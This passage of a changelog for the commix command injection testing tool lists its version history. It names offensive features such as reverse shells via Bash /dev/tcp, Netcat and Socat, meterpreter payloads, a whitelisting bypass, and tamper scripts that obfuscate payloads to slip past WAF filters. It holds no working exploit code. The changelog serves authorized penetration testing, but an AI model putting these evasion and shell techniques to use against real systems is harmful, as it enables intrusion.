* Fixed: Minor bug-fix regarding combining custom injection marker (i.e. asterisk `*`) with `-p` option.
* Revised: Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`).
* Fixed: Minor bug-fix regarding crawler (i.e. option `--crawl`).
* Updated: Six (third party) module has been updated (Python 3.12 support).
* Revised: Minor improvement regarding determining (passively) the target's underlying operating system.
* Revised: Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable.
* Revised: Minor improvements regarding semiblind (i.e. "file-based") technique.
* Fixed: Minor bug-fix regarding option `--output-dir`.
* Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing.
* Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option).
* Revised: Improvement regarding processing / ignoring custom injection marker (i.e. asterisk `*`).
* Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`).
* Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option).
* Revised: Improvement regarding parsing JSON nested objects.
* Revised: Improvement regarding (basic) heuristic detection of WAF/IPS protection.
* Revised: Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes.
* Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401)
* Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.9...v4.0)._
## Version 3.9 (2024-01-19)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file.
* Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch).
* Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot)
* Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria)
* Revised: Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output).
* Revised: Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown.
* Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy.
* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option).
* Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s).
* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) in Turkish. (via @Kazgangap)
* Revised: Minor improvement regarding parsing SOAP/XML POST data.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.8...v3.9)._
## Version 3.8 (2023-08-14)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option).
* Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output).
* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) in Farsi(Persian) (via @verfosec)
* Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s).
* Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads.
* Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected.
* Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py").
* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for \*nix targets).
* Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s).
* Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag).
* Fixed: Minor bug-fix regarding setting custom output directory path (i.e. `--output-dir` option).
* Added: Support for `Bearer` HTTP authentication type.
* Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`).
* Fixed: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set.
* Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies.
* Added: New option `--alert` to run host OS command(s) when injection point is found.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.7...v3.8)._
## Version 3.7 (2023-02-17)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) in Indonesian (via @galihap76)
* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option).
* Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers).
* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. `logout`).
* Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected.
* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. `stdin`).
* Revised: Minor improvement regarding adding PCRE `/e` modifier (i.e. dynamic code evaluation technique).
* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e. `-t` option).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.6...v3.7)._
## Version 3.6 (2022-11-18)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Revised: Minor improvement regarding session handler.
* Revised: Minor improvement regarding `--wizard` option.
* Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`.
* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option).
* Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.5...v3.6)._
## Version 3.5 (2022-07-03)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvements regarding Windows-based payloads for every supported technique.
* Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads.
* Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed.
* Revised: Improvement regarding identifying injection marker (i.e. asterisk `*`) in provided options.
* Revised: Improvement regarding shellshock module.
* Added: Support regarding parsing target(s) from piped-input (i.e. `stdin`).
* Added: New option `--answers` to set user answers to asked questions during commix run.
* Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`).
* Added: Support for normalizing crawling results.
* Revised: Improvement regarding crawler.
* Revised: Minor bug-fix regarding `--file-upload` option.
* Revised: Minor improvement regarding identifying `Hex` and/or `Base64` encoded parameter(s) value(s).
* Added: New option `--no-logging` for disabling logging to a file.
* Revised: Minor improvement regarding redirect handler.
* Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`).
* Added: Support for heuristic detection regarding command injections.
* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e. Cookies, HTTP headers) but also performs more tests for each injection point.
* Revised: Improvement regarding injecting into custom HTTP Header(s).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.4...v3.5)._
## Version 3.4 (2022-02-25)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`).
* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option).
* Fixed: Minor bug-fix regarding parsing JSON objects.
* Added: New option `--drop-set-cookie` for ignoring `Set-Cookie` HTTP header from response.
* Added: Support for checking for not declared cookie(s).
* Added: New (hidden) option `--smoke-test` that runs the basic smoke testing.
* Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Replaced: The `--encoding` option has been replaced with `--codec`.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.3...v3.4)._
## Version 3.3 (2021-09-13)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Minor bug-fix regarding scanning multiple targets given in a textual file (i.e. via option `-m`).
* Removed: The "Regsvr32.exe application whitelisting bypass" attack vector has been removed.
* Updated: Minor update regarding web delivery script (i.e. Python meterpreter reverse TCP shell).
* Replaced: The `--backticks` switch has been replaced with "backticks.py" tamper script.
* Added: New tamper script "backticks.py" that uses backticks instead of `$()`, for commands substitution (for \*nix targets).
* Added: New option ( `--skip-heuristic`) for skipping dynamic code evaluation heuristic check.
* Added: Support for parsing custom wordlists regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Fixed: Minor bug-fix regarding parsing SOAP/XML data via `--data` option.
* Revised: Minor improvement regarding parsing GraphQL JSON objects.
* Added: The .bat files command separator (i.e. [`%1a`](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added.
* Added: New option `--method` to force usage of provided HTTP method (e.g. `PUT`).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.2...v3.3)._
## Version 3.2 (2021-04-12)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Added: New tamper script "slash2env.py" that replaces slashes (`/`) with environment variable value `${PATH%%u*}` (for \*nix targets).
* Revised: Minor improvement regarding session handler for supporting Python 3.4+.
* Revised: Minor improvement regarding `--web-root` option.
* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads (for \*nix targets).
* Revised: Improvement regarding decompressing `deflate`, `x-gzip` and `gzip` HTTP responses.
* Fixed: Bug-fix regarding several charset-related unhandled exceptions.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Fixed: Bug-fix regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker.
* Fixed: Bug-fix regarding logging all HTTP traffic into a textual file.
* Revised: Improvement regarding crawler.
* Fixed: Multiple bug-fixes regarding supporting Python 3.9.
* Revised: Improvement regarding mechanism which nagging if used version is > 30 days old.
* Fixed: Multiple bug-fixes regarding the shellshock module.
* Revised: Improvement regarding Python 3.4+ for using the `html.unescape()` function for converting HTML entities to plain-text representations.
* Updated: Minor update regarding smartphones to imitate, through HTTP User-Agent header.
* Fixed: Bug-fix regarding setting suitable HTTP header User-Agent, when combining `--random-agent` or `--mobile` switch with `-r` option.
* Fixed: Bug-fix regarding `Hex` encoding/decoding.
* Added: New option ( `--timeout`) for setting a number of seconds to wait before timeout connection (default 30).
* Revised: Increased default timeout to 30 seconds.
* Fixed: Bug-fix regarding Basic HTTP authentication.
* Fixed: Bug-fix regarding connection problems (via @fuero).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.1...v3.2)._
## Version 3.1 (2020-06-17)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Added: A script "setup.py" has been added (i.e. easier installation).
* Revised: Improvement regarding checking if the provided value has boundaries (e.g. `param=/value/`).
* Revised: Improvement regarding dynamic code evaluation technique's heuristic checks.
* Revised: Improvement regarding identifying the indicated web-page charset.
* Revised: Minor improvement regarding verbose mode (i.e. debug messages).
* Fixed: Bug-fix regarding Basic HTTP authentication.
* Revised: Minor improvement regarding redirection mechanism.
* Fixed: Bug-fix regarding defining custom injection marker (i.e. asterisk `*`) in nested JSON objects.
* Revised: Minor improvement regarding Flatten_json (third party) module.
* Revised: Minor improvement regarding parsing nested JSON objects.
* Added: New tamper script "doublequotes.py" that adds double-quotes (`""`) between the characters of the generated payloads (for \*nix targets).
* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option).
* Revised: Improvements regarding data in the detailed message about occurred unhandled exception.
* Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.0-20191111...v3.1)._
## Version 3.0 (2019-11-11)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvement regarding identifying the indicated web-page charset.
* Added: Support for Python 3.x
* Updated: Beautiful Soup (third party) module has been updated.
* Added: Six (third party) module has been added.
* Revised: Improvement regarding parsing nested JSON objects that contain boolean values.
* Replaced: The `--ignore-401` option has been replaced with `--ignore-code` option.
* Added: New option `--ignore-code` for ignoring (problematic) HTTP error code (e.g. 401).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.9-20190626...v3.0-20191111)._
## Version 2.9 (2019-06-26)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Bug-fix regarding parsing hostname and port from URL.
* Revised: Improvement regarding automatically decoding `deflate` and `gzip` HTTP responses.
* Fixed: Bug-fix regarding parsing HTTP header values that contain multiple `":"`.
* Revised: Improvement regarding updating "Content-Length" HTTP header, in case it's provided by user (i.e. `-r`, `--header`, `--header` options).
* Revised: Improvement regarding parsing raw HTTP headers from a file (i.e. `-r` option).
* Revised: Improvement regarding parsing nested JSON objects.
* Added: Flatten_json (third party) module has been added.
* Revised: Bug-fixes and improvements regarding parsing JSON objects.
* Added: GPL Cooperation Commitment ([COMMITMENT.txt](https://github.com/commixproject/commix/blob/master/COMMITMENT.txt)) has been added.
* Updated: Minor update regarding HTTP authentication (i.e. `Basic`, `Digest`).
* Revised: Minor improvements regarding preventing false negative results, due to parameters tampering during the detection phase.
* Revised: Minor improvements regarding "reverse_tcp" and "bind_tcp" shell options.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.8-20190326...v2.9-20190626)._
## Version 2.8 (2019-03-26)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Updated: Minor update regarding accepting overly long result lines.
* Revised: Minor bug-fixes and improvements regarding `--file-upload` option.
* Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker.
* Revised: Minor bug-fixes and improvements regarding HTTP authentication (i.e. `Basic`, `Digest`).
* Fixed: Minor bug-fix regarding ignoring HTTP Error 401 (Unauthorized) (for `--ignore-401` option).
* Added: Support for writing crawling results to a temporary file (for eventual further processing with other tools).
* Added: Support for Windows "Python" on "reverse_tcp" shell option.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.7-20181218...v2.8-20190326)._
## Version 2.7 (2018-12-18)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: The suffixes list has been shortly revised.
* Updated: With each commix run end users are obligated to agree with the "Legal disclaimer" prelude message.
* Fixed: Minor improvent regarding local HTTP server (for `--file-upload` option).
* Added: A list of extensions to exclude from crawling.
* Revised: Minor improvements regarding crawler.
* Revised: Minor update of redirection mechanism.
* Revised: Minor improvement regarding identifying the target web server.
* Revised: Minor improvement regarding identifying corrupted .pyc file(s).
* Added: New tamper script "dollaratsigns.py" that adds dollar-sign followed by an at-sign (`$@`) between the characters of the generated payloads.
* Fixed: Bug-fix regarding proxying SSL/TLS requests.
* Revised: Minor improvement regarding checking for potentially miswritten (illegal '=') short option.
* Revised: Minor improvement regarding checking for illegal (non-console) quote and comma characters.
* Revised: Minor improvement regarding merging of tamper script arguments.
* Revised: Minor improvement regarding ignoring the parameter(s) that carrying anti-CSRF token(s) in all scanning attempts.
* Updated: Beautiful Soup (third party) module has been updated.
* Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header `X-Forwarded-For`.
* Fixed: Minor bug-fix regarding loading tamper scripts.
* Revised: Minor improvement regarding `INJECT_HERE` tag (i.e. declaring injection position) to be case insensitive.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.6-20180921...v2.7-20181218)._
## Version 2.6 (2018-09-21)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Minor improvement in session handler regarding IPv6 targets.
* Added: New option `--list-tampers` for listing available tamper scripts.
* Revised: Minor improvement regarding resolving target hostname.
* Added: Support for "Ncat" on "reverse_tcp" and "bind_tcp" shell options.
* Added: Support for "Bash" (via `/dev/tcp`) on "reverse_tcp" shell option.
* Added: Support for "Netcat-Openbsd" (i.e. nc without -e) on "reverse_tcp" and "bind_tcp" shell options.
* Added: Support for "Socat" on "reverse_tcp" and "bind_tcp" shell options.
* Revised: Minor improvement regarding counting the total of HTTP(S) requests, for the identified injection point(s) during the detection phase.
* Fixed: Minor bug-fix regarding providing the target host's root directory.
* Added: New tamper script "sleep2timeout.py" that uses "timeout" function for time-based attacks.
* Added: New tamper script "sleep2usleep.py" that replaces `sleep` with `usleep` command in the time-related generated payloads.
* Replaced: The `--purge-output` option has been replaced with `--purge` option.
* Fixed: Minor bug-fix regarding performing injections through cookie parameters.
* Revised: Minor improvement regarding ignoring the Google Analytics cookie in all scanning attempts.
* Fixed: Minor bug-fix regarding "bind_tcp" shell option.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.5-20180713...v2.6-20180921)._
## Version 2.5 (2018-07-13)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvement regarding identifying the appropriate format parameters, in the provided POST data.
* Added: Support regarding recognition of generic "your ip has been blocked" messages.
* Added: Support regarding checking for potential browser verification protection mechanism.
* Added: Support regarding checking for potential CAPTCHA protection mechanism.
* Revised: The separators list, has been shortly revised.
* Revised: Minor improvement regarding the extracted HTTP response headers.
* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads (for \*nix targets).
* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g. User-Agent, Referer, Host etc).
* Fixed: Major bug-fixes regarding testing time-related payloads (i.e. "time-based", "tempfile-based").
* Added: New tamper script "backslashes.py" that adds back slashes (`\`) between the characters of the generated payloads (for \*nix targets).
* Fixed: Minor bug-fix regarding unicode decode exception error due to invalid codec, during connection on target host.
* Revised: Improvement regarding combining tamper script "multiplespaces.py" with other space-related tamper script(s).
* Added: New tamper script "multiplespaces.py" that adds multiple spaces around OS commands.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.4-20180521...v2.5-20180713)._
## Version 2.4 (2018-05-21)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Fixed: Minor bug-fix regarding ignoring invalid and/or empty tamper scripts.
* Updated: Colorama (third party) module has been updated.
* Revised: Minor improvement regarding keeping the git folder 'clean' (via @g0tmi1k).
* Fixed: Minor bug-fix regarding loading multiple tamper scripts (during the exploitation phase).
* Added: New tamper script "caret.py" that adds the caret symbol (`^`) between the characters of the generated payloads (for windows targets).
* Added: New tamper script "singlequotes.py" that adds single quotes (`'`) between the characters of the generated payloads (for \*nix targets).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.3-20180307...v2.4-20180521)._
## Version 2.3 (2018-03-07)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Minor improvement regarding testing the Host HTTP header.
* Added: Support for Host HTTP header command injections.
* Revised: Minor improvement regarding testing SOAP/XML POST data.
* Added: Support for automatically creating a Github issue with unhandled exception information.
* Revised: Improvement for masking sensitive data in the detailed message about occurred unhandled exception.
* Added: Support for returning detailed message about occurred unhandled exception.
* Revised: The `--charset` option has been revised to force the usage of custom charset in order to speed-up the data retrieval process (during time-related injections).
* Replaced: The `--charset` option has been replaced with `--encoding` option.
* Revised: Improvement regarding batch mode, for testing the payloads for both OS - if it's not able to identify the target OS.
* Added: Support for SOAP/XML POST data.
* Fixed: Bug-fix regarding the SSL implementation (via @TD4B).
* Revised: Improvement regarding testing json-formated POST data with empty value(s).
* Revised: Minor improvement regarding verbose mode for removing the first and/or last line of the html content (in case there are/is empty).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.2-20171212...v2.3-20180307)._
## Version 2.2 (2017-12-12)
* Revised: Minor improvement in "updater", for supporting verbose mode.
* Fixed: Minor bug-fix regarding cookie-based command injections.
* Revised: Minor improvement regarding option `-p` for bypassing the dependence on value of `--level` (in case of user-defined HTTP headers).
* Revised: Minor improvement regarding option `-p` for testing user-defined HTTP headers.
* Added: New option `--failed-tries` for setting a number of failed injection tries, in semiblind (i.e. "file-based") technique.
* Revised: Minor improvement regarding session handler.
* Revised: Minor improvement regarding checking stored time-related payloads (i.e. "time-based", "tempfile-based").
* Revised: Minor improvement regarding Python version check (no more crashes on Python >= "3" and < "2.6").
* Revised: Minor improvement in "updater", for checking commit hash number.
* Added: New option `--skip` regarding excluding certain parameter(s) from testing.
* Added: New option `--skip-technique` regarding excluding certain injection technique(s) from testing.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.1-20171003...v2.2-20171212)._
## Version 2.1 (2017-10-03)
* Added: New option `--header` for providing a single extra HTTP header (e.g. `X-Forwarded-For: 127.0.0.1`).
* Added: New option `--check-internet` that checks internet connection before assessing the target.
* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e. Cookie, User-Agent, Referer).
* Revised: Minor improvement regarding checking stored payloads and enabling appropriate tamper scripts during the exploitation phase.
* Added: New tamper script "space2vtab.py" that replaces every space (`%20`) with vertical tab (`%0b`) (for Windows targets).
* Replaced: The tamper script "space2tab.py" has been replaced with "space2htab.py".
* Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET, POST).
* Added: New option `--backticks` that uses backticks instead of `$()`, for commands substitution.
* Revised: Minor improvement in Netcat shells, for giving to the end-user the choice of using the `/bin` standard subdirectory.
* Added: New option `--disable-coloring` that disables console output coloring.
* Added: New option `--check-tor` that checks if Tor is used properly.
* Fixed: Minor improvement for fetching random HTTP User-Agent header in initial request, when `--random-agent` is used.
* Revised: Minor improvement regarding options `--purge-output` and `--wizard`, were added in the mandatory options list.
* Fixed: Major bug-fix regarding connection problem over HTTPS.
* Added: New option `--purge-output` to turn on safe removal of all content(s) from output directory.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.0-20170714...v2.1-20171003)._
## Version 2.0 (2017-07-14)
* Revised: Minor improvement for automatically increasing default `--time-sec` value when `--tor` used.
* Fixed: Minor improvement for not re-testing Tor SOCKS proxy settings (in case of multiple targets).
* Revised: Multiple minor eye-candy revisions have been performed.
* Fixed: Major improvement regarding not sending requests with GET HTTP mothod in case of POST HTTP method, in injection levels 2, 3.
* Updated: The `--sys-info` option has been enriched with distribution description and release information.
* Revised: Minor improvement in dynamic code evaluation, regarding the users extraction payload.
* Fixed: Minor fix regarding not raising the detection phase in the case of 4xx and/or 5xx HTTP error codes.
* Revised: Minor improvement regarding not re-performing requests in case of stored session.
* Revised: Minor improvement in time-related techinques for checking the reliability of the used payload (in case of a false positive result).
* Updated: Minor update in the list of the User-Agents (regarding the `--random-agent` option).
* Added: New option `--mobile` that imitates smartphone through HTTP User-Agent header.
* Added: New option `--retries` that retries request(s) when the connection timeouts.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.9-20170502...v2.0-20170714)._
## Version 1.9 (2017-05-02)
* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay.
* Revised: The time-related payloads (i.e. "time-based", "tempfile-based"), have been shortly revised.
* Revised: Minor improvement in semiblind (i.e. "file-based") technique, for delaying the OS responses depending on the user-supplied time delay.
* Fixed: Minor improvement in semiblind (i.e. "file-based") technique, regarding the directory path that the output file is saved.
* Added: New option `--ignore-redirects` that ignoring redirection attempts.
* Added: New functionality for identifying and following URL redirections.
* Fixed: Minor improvement for adding `/` at the end of the user provided root dir (in case it does not exist).
* Revised: The semiblind (i.e. "file-based") payload for deleting files with execution output, has been shortly revised.
* Replaced: The `--root-dir` option has been replaced with `--web-root` option.
* Added: New option `--wizard` that shows a simple wizard interface for beginner users.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.8-20170315...v1.9-20170502)._
## Version 1.8 (2017-03-15)
* Added: New feauture for installing Unicorn tool (if not installed on host).
* Removed: The pre-installed version of Unicorn tool has been removed.
* Added: New feauture for checking and updating current version of Unicorn tool.
* Revised: The `--delay` option has been revised to delay between each HTTP request.
* Replaced: The `--delay` option has been replaced with `--time-sec` option.
* Fixed: Minor improvement regarding gnureadline module for better support on MacOS X hosts.
* Added: New option `--charset` that forces character encoding used for data retrieval.
* Added: New prefix (`'%26`) and suffix (`%26'`) have been added.
* Fixed: Removal of unnecessary command substitution in semiblind technique (i.e. "file-based").
* Updated: The Unicorn tool has been updated to version 2.4.2.
* Added: Support for the Regsvr32.exe Application Whitelisting Bypass technique.
* Fixed: Minor improvement for checking for established TCP connections.
* Fixed: Minor improvement for not reopening meterpreter sessions (in case of user abortion).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.7-20170203...v1.8-20170315)._
## Version 1.7 (2017-02-03)
* Fixed: Minor improvement regarding unverified SSL context(s).
* Added: New values ("URIPATH", "SRVPORT") have been added to "Set" option.
* Revised: Minor improvements regarding "reverse_tcp" and "bind_tcp" shell options.
* Fixed: Minor improvement for checking missing mandatory option(s).
* Fixed: Minor improvement regarding the file path of the null device.
* Fixed: Minor improvement regarding automated scan level increasing.
* Fixed: Improvement regarding skipping the testing of problematic URL(s) and proceeding with next ones (in case of scanning multiple targets).
* Fixed: Improvement regarding printing current assessment state in case of user abortion.
* Revised: Minor improvement for proceeding with semiblind technique (i.e. "file-based"), once the user provides the path of web server's root directory.
* Fixed: Minor fix regarding the lack of http/s to the user-defined URL(s).
* Added: New option `--skip-empty` for skipping the testing of the parameter(s) with empty value(s).
* Fixed: Improvement regarding testing the parameter(s) with empty value(s).
* Added: New CGI shellscript path `/cgi-bin/cgiCmdNotify` (vulnerable to shellshock) has been added.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.6-20161228...v1.7-20170203)._
## Version 1.6 (2016-12-28)
* Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the `":"` exists.
* Fixed: Minor fix regarding empty value(s) in provided parameter(s).
* Added: New option `--batch` that never asks for user input (using the default behaviour).
* Added: New option `-x` for parsing target(s) from remote sitemap(.xml) file.
* Added: New option `--offline` for working in offline mode.
* Fixed: Improvement regarding the IP address grabbing (in case of internet in-accessibility).
* Fixed: Improvement regarding HTTPS based websites, for which scanning fails.
* Added: New option `-r` for loading HTTP request from a file.
* Fixed: Improvement regarding the response time estimimation, in which the target URL was requested without its POST data.
* Added: New option `-m` for scanning multiple targets given in a textual file.
* Fixed: Minor fix regarding the newline display in dynamic code evaluation (i.e. "eval-based") and semiblind technique (i.e. "file-based").
* Revised: The dynamic code evaluation (i.e. "eval-based") payloads have been shortly revised.
* Added: The executed command and the execution results output has been added to log file.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.5-20161117...v1.6-20161228)._
## Version 1.5 (2016-11-17)
* Fixed: Minor improvement in the "ICMP exfiltration" module.
* Fixed: Minor improvement for choosing default value when pressing enter.
* Added: New tamper script "hexencode.py" that encodes the payload to `Hex` format.
* Fixed: Minor improvements in executed commands history.
* Added: New verbosity level (4) for printing the HTTP response page content.
* Added: New option `-t` for logging all HTTP traffic into a textual file.
* Added: New option `--msf-path` for specifying a path where metasploit is installed.
* Added: New verbosity level (3) for printing the HTTP response headers.
* Added: New verbosity level (2) for printing the performed HTTP requests headers.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.4-20161017...v1.5-20161117)._
## Version 1.4 (2016-10-17)
* Added: Support on crawler for checking target for the existence of 'sitemap.xml'.
* Revised: The payload for Ruby reverse-shell has been shortly revised.
* Added: Support for bind TCP shell (via "bind_tcp" option).
* Added: New option `--crawl` (1,2) for crawling of a given website, starting from the target url.
* Updated: The Unicorn tool has been updated to version 2.3.5.
* Added: The project's official URL has been added in the menu banner.
* Fixed: Minor improvements in tab completion.
* Fixed: Minor improvement in the function that checks for updates on start up.
* Fixed: Minor improvements in enumeration options (added failure messages).
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.3-20160914...v1.4-20161017)._
## Version 1.3 (2016-09-14)
* Fixed: Minor improvements in "reverse_tcp" option.
* Added: Support for the metasploit "web_delivery" script.
* Added: Support for generating Python/PHP meterpreter reverse TCP payloads via metasploit.
* Fixed: Minor improvements for enumeration options (if `--url-reload` is used).
* Added: The ability for generating and injecting native x86 shellcode (Powershell).
* Added: New option `--skip-calc` that skips the mathematic calculation during the detection phase.
* Fixed: Minor improvement in Shellshock module for ignoring junk output on response.
* Fixed: Minor improvement in Shellshock module for finding RCE results on page's response.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.2-20160812...v1.3-20160914)._
## Version 1.2 (2016-08-12)
* Added: The ability for setting custom (PHP / Python) working directory.
* Fixed: License file minor inaccurancy issue has been fixed.
* Revised: The Windows-based payloads for every supported technique, had been shortly revised.
* Revised: The dynamic code evaluation technique (i.e. "eval-based") has been shortly revised.
* Added: New tamper script "space2tab.py" that replaces every space (`%20`) with horizontal tab (`%09`).
* Added: The ability for generating powershell attack vectors via TrustedSec's Magic Unicorn.
* Added: The ability for checking if there is a new version available.
* Added: The ability for target application extension recognition (i.e. PHP, ASP etc).
* Fixed: Minor improvement for finding the URL part (i.e. `scheme:[//host[:port]][/]path`).
* Fixed: Minor fix for conflicted shells (i.e. regular, alternative) from session file.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.1-20160714...v1.2-20160812)._
## Version 1.1 (2016-07-14)
* Added: The ".gitignore" file has been added.
* Added: Support for injections against ASP.NET applications.
* Added: Support for warning detection regarding `create_function()` function.
* Fixed: Minor improvent of the HTTP server for `--file-upload` option.
* Fixed: Minor fix for conflicted executed commands from session file in HTTP Headers.
* Added: The ability to store injection level into session files for current target.
* Added: Support for automated enabling of an HTTP server for `--file-upload` option.
* Fixed: Minor fix for "Python-urllib" User-Agent exposure.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.0-20160614...v1.1-20160714)._
## Version 1.0 (2016-06-14)
